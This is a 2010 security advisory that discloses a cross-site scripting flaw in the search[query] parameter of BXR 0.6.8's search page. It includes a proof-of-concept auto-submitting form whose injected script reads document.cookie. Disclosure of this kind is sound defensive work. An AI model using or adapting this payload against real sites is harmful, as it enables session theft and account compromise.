Vulnerability ID: HTB22505 Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_bxr_search.html Product: BXR Vendor: Hulihan Applications ( http://hulihanapplications.com/projects/bxr ) Vulnerable Version: 0.6.8 and Probably Prior Versions Vendor Notification: 22 July 2010 Vulnerability Type: XSS (Cross Site Scripting) Status: Fixed by Vendor Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the /search/show_results script to properly sanitize user-supplied input in "search[query]" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/search/show_results"; method="post" name="main" > <input type="hidden" name="search_type" value="filename" /> <input type="hidden" name="search[query]" value='1"><script>alert(document.cookie)</script>' /> <input type="hidden" name="commit" value="Find!" /> </form> <script> document.main.submit(); </script> Solution: Upgrade to the most recent version
